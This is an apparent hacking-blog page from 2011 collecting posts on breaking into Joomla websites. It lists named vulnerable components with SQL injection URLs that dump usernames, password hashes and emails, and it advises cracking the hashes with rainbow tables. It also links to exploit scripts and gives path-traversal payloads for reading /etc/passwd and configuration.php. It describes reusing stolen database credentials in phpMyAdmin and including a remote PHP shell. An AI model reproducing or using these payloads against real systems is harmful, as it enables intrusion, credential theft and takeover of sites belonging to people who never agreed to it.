How to Hack Joomla Website? Joomla SQL Injection Example

11/18/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="844009326905282725"><div style="text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVCWCuPtSvsFJSrcHUdJISWvXx7ytrO3LlMIHxcEcTPlz8WTAyEiEhGaC1U3JzOf3AI56Pa-VHfVbxNVEKYWN0WRCVhasp3wvKI2zagRAKnCrKx4J7Qckp55IfuDLI-e4IaZPXo0EWy6zD/s1600/joomla+sqli.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVCWCuPtSvsFJSrcHUdJISWvXx7ytrO3LlMIHxcEcTPlz8WTAyEiEhGaC1U3JzOf3AI56Pa-VHfVbxNVEKYWN0WRCVhasp3wvKI2zagRAKnCrKx4J7Qckp55IfuDLI-e4IaZPXo0EWy6zD/s320/joomla+sqli.gif" width="320" /></a></div><b><br /></b></div><div style="text-align: center;"><b><br /></b></div><div style="text-align: center;"><b><br /></b></div><div style="text-align: center;"><b><br /></b></div><div style="text-align: left;">The probably most common case for hacked Joomla websites is that a SQL injection vulnerability was exploited. A typical URL which is affected by this type of vulnerability looks like this:</div><b><br /></b><div><b>index.php?option=com_blabla&category=5&Item=2</b><br /><br />Typically the following parameters are vulnerable:<br />- cat, category, kat, categories, kats, cats<br />- id, userid, katid, catid<br />- sometimes also Item, entry, page<br /><br />You can find out if a parameter is vulnerable when you change its value from e.g. category=5 to category='.</div><div><br />Press enter and look for MySQL errors in the website. If you find one, you might have discovered a SQL inkjection vulnerability.<br /><br />In order to give you a better understanding and feeling of how vulnerable URLs might look like, I just show you some URLs which are known to be vulnerable (I discovered them):<br /><br />URL: index.php?option=com_jp_jobs&view=detail&id=1<br />Vulnerable parameter: id<br /><br />URL: index.php?option=com_mv_restaurantmenumanager&task=menu_display\<br />&Venue=XX&mid=XX&Itemid=XX<br />Vulnerable parameter: mid<br /><br />URL: index.php?option=com_qpersonel&task=qpListele&katid=2<br />Vulnerable parameter: katid<br /><br />URL: index.php?com_pandafminigames&Itemid=&task=myscores&userid=2<br />Vulnerable parameter: userid<br /><br />URL: index.php?option=com_joltcard&Itemid=21&task=view&cardID=6<br />Vulnerable parameter: cardID<br /><br />URL: index.php?com_bfquiztrial&view=bfquiztrial&catid=1&Itemid=62<br />Vulnerable parameter: catid<br /><br />URL: index.php?com_golfcourseguide&view=golfcourses&cid=1&id=79<br />Vulnerable parameter: id<br /><br />URL: index.php?option=com_nkc&view=insc&lang=en&gp=10<br />Vulnerable parameter: gp<br /><br />Notice how many parameters look familiar to you? Yes, I mentioned them<br />earlier as well-known parameters which are affected on regular<br />basis :)<br /><br />Since every Joomla database contains the same structure (like the same<br />tables etc.), we know enough to inject a SQL statement:<br /><br /><b>Example #1:</b><br />index.php?option=com_qpersonel&task=qpListele&katid=XX+AND+1=2+UNION+\<br />SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(\<br />username, password)--<br /><br /><b>Example #2:</b><br />index.php?option=com_pandafminigames&Itemid=&task=myscores&userid=XX+\<br />AND+1=2+UNION+SELECT+concat(password),2,concat(password),4,5,6,7,\<br />8,9,10,11,12--<br /><br /><b>Example #3:</b><br />index.php?option=com_jp_jobs&view=detail&id=1+AND+1=2+UNION+SELECT+\<br />group_concat(0x503077337220743020743368206330777321,name,username,\<br />password,email,usertype,0x503077337220743020743368206330777321)--<br /><br />The selected information will be shown within the website.<br />Select a username and password from the table and try to crack the<br />MD5 hash with the help of raindbow tables.<br /><br />SQL injections in Joomla give us so much freedom as we can get. You can<br />select everything you want from the database, and if you are lucky,<br />there are also other tables in the databases which do not belong<br />to Joomla but still contain some very interesting information.</div></span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

Joomla How to Hack Joomla Website? Joomla SQL Injection Example

The probably most common case for hacked Joomla websites is that a SQL injection vulnerability was exploited. A typical URL which is affecte...

Joomla Component com_question SQL Injection Vulnerability

11/15/2011 cyb3r.gladiat0r 0

Joomla Joomla Component com_question SQL Injection Vulnerability

################################################### # |Title : Joomla (com_question) SQL Injection Vulnerability # |Vendor : http://www.al...

Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin

4/30/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="4213644759481558585"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM5AnkJyuv9avZ2-v5A6bwl-JneLAEwJc_saKs8J-IPJ3VmxKeHAeBxqFF5YcYHnockAq_pVvRYyWg1HrextEeuQSkbKs-4wLLt_DeTR6CCvohuCGYC_CenLqs-odSkbXuPN-m05xkNpwk/s1600/Joomla+Hacking+Tools+Hack+Joomla+with+self-written+tools+by+Valentin.png" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5603894160709013122" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM5AnkJyuv9avZ2-v5A6bwl-JneLAEwJc_saKs8J-IPJ3VmxKeHAeBxqFF5YcYHnockAq_pVvRYyWg1HrextEeuQSkbKs-4wLLt_DeTR6CCvohuCGYC_CenLqs-odSkbXuPN-m05xkNpwk/s400/Joomla+Hacking+Tools+Hack+Joomla+with+self-written+tools+by+Valentin.png" style="background-color: transparent; border: 1px solid transparent; cursor: pointer; display: block; height: 254px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 291px;" /></a><br /><div style="text-align: center;"><b>Joomla Hacking Tools: Hack Joomla with self-written tools by <a href="http://www.xenuser.org/" style="color: #3778cd; text-decoration: none;">Valentin</a></b></div><div style="text-align: center;"><br /></div>Manual testing is awesome, but automated checks are faster and maybe even more reliable. Here are some self-written tools you could use for your purposes:<br /><br />#1<br /><b>Joomla QPersonel Exploit</b><br /><a href="http://www.xenuser.org/exploits/joomla_com_qpersonel_sploit.py">http://www.xenuser.org/exploits/joomla_com_qpersonel_sploit.py</a><br /><br />#2<br /><b>Automated Joomla SQL Injection Exploiter<br /></b><a href="http://www.xenuser.org/exploits/joomla_sqli_sploiter.py">http://www.xenuser.org/exploits/joomla_sqli_sploiter.py</a><br /><br />#3<br /><b>Joomla BF Quiz Exploit<br /></b><a href="http://www.xenuser.org/exploits/joomla_com_bfquiz_sploit.py">http://www.xenuser.org/exploits/joomla_com_bfquiz_sploit.py</a><br /><br />#4<br /><b>Column Fuzzer<br /></b><a href="http://xenuser.org/tools/column_finder.py">http://xenuser.org/tools/column_finder.py</a><br /><br />#5<br /><b>Simple SQL Injection Vulnerability Scanner<br /></b><a href="http://www.xenuser.org/tools/sqli_scanner.py">http://www.xenuser.org/tools/sqli_scanner.py</a><br /><br />#6<br /><b>Simple Log File Analyzer<br /></b><a href="http://www.xenuser.org/tools/scan_log.py">http://www.xenuser.org/tools/scan_log.py</a><br /><br />#7<br /><b>Simple Local File Inclusion Exploiter<br /></b><a href="http://www.xenuser.org/tools/lfi_sploiter.py">http://www.xenuser.org/tools/lfi_sploiter.py</a><br /><br />These tools can help you to exploit vulnerabilities within Joomla or some extensions.<br /><br /><b>NOTE: </b>Read the help (included in those tools) for details.<br /><br /><div style="text-align: center;"><b>The Simple Log File Analyzer could be used for scanning your Apache log files. It shows if there are hack attempts.</b></div></span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

Joomla Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin

Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin...

Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack

4/25/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">Joomla RFI Remote File Inclusions Attack | Joomla LFI Local File Inclusions Attack</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="997104527121951847"><div style="text-align: center;"><b>Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack</b></div><div style="text-align: center;"><b><br /></b></div><div style="text-align: center;"><b>By <a href="http://www.xenuser.org/" style="color: #3778cd; text-decoration: none;">Valentin</a></b></div><br /><div style="text-align: center;"><b>Examples for Joomla local file inclusions</b></div><br /><b>Local file inclusions </b>are very funny. You tell the website what you want to see. Awesome! You want to view the configuration file which contains the database login credentials? No problem.<div><br />You want to view the /etc/passwd file if Joomla is hosted on a Linux box? You can do that.<br /><br /><b>Local file inclusions</b> are also a common problem in Joomla extensions. Many of them are vulnerable for this type of attack and some of them never get fixed. This may lead to a server hack, which is not funny any more - at least for the system administrator.<br /><br />A typical URL being vulnerable to LFI looks like this:<br />index.php?option=com_blablubb&Item=2&view=guestbookpage<br /><br />Typically most of the vulnerable parameters are this one:<br />- controller<br />- view<br />- layout<br />- page<br /><br />To give you some proper understanding of typical affected<br />URLs I provide you with some examples I found earlier this year:<br /><br />URL: index.php?option=com_jejob&view=some_value<br />Vulnerable Parameter: view<br /><br />URL: index.php?option=com_jeajaxeventcalendar&view=some_value<br />Vulnerable Parameter: view<br /><br />URL: index.php?option=com_jradio&controller=some_value<br />Vulnerable Parameter: controller<br />((I didn't find this one.))<br /><br />Now let's see how we can use this:<br />index.php?option=com_jradio&controller=../../../../etc/passwd<br /><br />In this case we need to use the famous Nullbyte which helps us to bypass a restriction which is set in the responsible PHP script of the component.<br /><br />In the example above the controller parameter is used to include a file from the local hard disk. This file contains useful information for us.<br /><br />If you are not familiar with local file inclusions I recommend you look a tutorial up since I will not explain any details here.<br /><br />Now with the knowledge about a LFI vulnerability within a Joomla component, we can try to access the configuration.php of Joomla. This file contains very very interesting information.<br /><br />Since many LFIs also reveal PHP source code, we try this one:<br />index.php?option=com_blabla&view=../../../configuration.php<br /><br />The source code of the file is shown and we receive the login data for the current database user. Now find a <b>PHPMyAdmin login</b> on the same server and try to login with this data.<br /><br /><b>You now have access to all Joomla tables and can basically do what you want.<br /></b><br /><div style="text-align: center;"><b>Examples for Joomla remote file inclusions</b></div><div style="text-align: center;"><br /></div>Some Joomla components are also known for containing <b>remote file inclusion vulnerabilities.</b> RFIs allow us to include files from another server and to execure code on the target.<br /><br />A typical RFI URL looks like a LFI URL. In order to give you a better feeling of how to see a RFI vulner-ability within seconds, I show you some examples<br /><br />URL: index.php?option=com_sef&Itemid=&mosConfig.absolute.path=.<br />Vulnerable Parameter: &mosConfig.absolute.path<br /><br />URL: index.php?option=com_jomestate&task=.<br />Vulnerable Parameter: task<br /><br />When you found a RFI vulnerability, try to include your PHP shell which is hosted on another box. Once you uploaded it, you are able to browse all Joomla files and download them, change them, remove them...<br /><br /><b>No Joomla installation is safe when there is an exploited RFI.</b></div></span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

Joomla Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack

Joomla RFI Remote File Inclusions Attack | Joomla LFI Local File Inclusions Attack Joomla LFI Local File Inclusions Attack | Joomla RFI Remo...

How to Hack Joomla Website? Joomla SQL Injection Example

Joomla Component com_question SQL Injection Vulnerability

Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin

Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack

Popular

Comments

Archive